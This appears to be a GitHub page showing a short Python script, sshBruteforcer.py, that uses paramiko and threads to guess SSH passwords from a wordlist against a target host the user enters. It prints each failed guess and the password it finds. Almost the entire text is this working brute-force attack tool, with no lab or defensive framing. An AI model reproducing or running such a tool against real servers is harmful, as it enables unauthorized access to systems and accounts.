-
Notifications
You must be signed in to change notification settings - Fork 0
/
sshBruteforcer.py
51 lines (37 loc) · 1.46 KB
/
sshBruteforcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket,os,sys,paramiko
import threading,time
flag = 0
count = 0
def ssh_connect(password):
global flag,count
count = count + 1
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=22, username = username, password = password)
flag = 1
print("\033[36;1m" + "[+] Password found in " + str(count) + "th " + "attempt.")
print("\033[36;1m" + "[+] Username: " + username + "\t" + "Password: " + password)
except:
print("\033[31;1m" + "[-] Username: " + username + "\t" + "Password: " + password)
ssh.close()
print('\n')
host = input("\033[32;1m" + '[*] Enter Target: ') # input target
username = input("\033[32;1m" + '[*] SSH Username: ') # SSH username
passFile = input("\033[32;1m" + '[*] Enter Password File: ') # input password file
print('\n')
print("\033[33;1m" + "Finding Password for User: " + username)
# Checking if the File Exists on OS
if os.path.exists(passFile) == False:
print("\033[37;1m" + '[!] File not Found!')
sys.exit(1)
# Open file in Read mode and perform Bruteforce along with Threading
with open(passFile, 'r') as file:
for line in file.readlines():
if (flag == 1):
t.join()
exit()
password = line.strip()
t = threading.Thread(target=ssh_connect,args=(password,))
t.start()
time.sleep(0.5)